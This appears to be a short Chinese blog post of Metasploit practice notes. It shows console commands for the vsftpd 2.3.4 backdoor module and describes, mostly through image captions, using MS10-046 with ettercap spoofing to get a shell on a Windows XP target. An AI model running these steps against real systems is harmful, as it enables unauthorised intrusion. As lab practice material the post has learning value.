metaspliot一些练习

1.ftp(vsftp2.3.4版本漏洞)



msf > search vsftpd

Matching Modules
================

   Name                                  Disclosure Date          Rank       Description
   ----                                  ---------------          ----       -----------
   exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03 00:00:00 UTC  excellent  VSFTPD v2.3.4 Backdoor Command Execution


msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show options


下面是过程
metaspliot一些练习_第1张图片
metaspliot一些练习_第2张图片
metaspliot一些练习_第3张图片



2.win xp ms10_046_shortcut_icon_dllloader漏洞
metaspliot一些练习_第4张图片
这是位置
metaspliot一些练习_第5张图片
做好设置以后就可以等鱼上钩了,但是最好用ettercap同时配合。这样目标一旦打开ie浏览器就会沦陷。~~
以上的设置是自己的ip
下面看鱼上钩!
metaspliot一些练习_第6张图片
好,成功metaspliot一些练习_第7张图片
这是成功的得到payload
metaspliot一些练习_第8张图片
直接shell
metaspliot一些练习_第9张图片
好,简单吧!

你可能感兴趣的:(kali)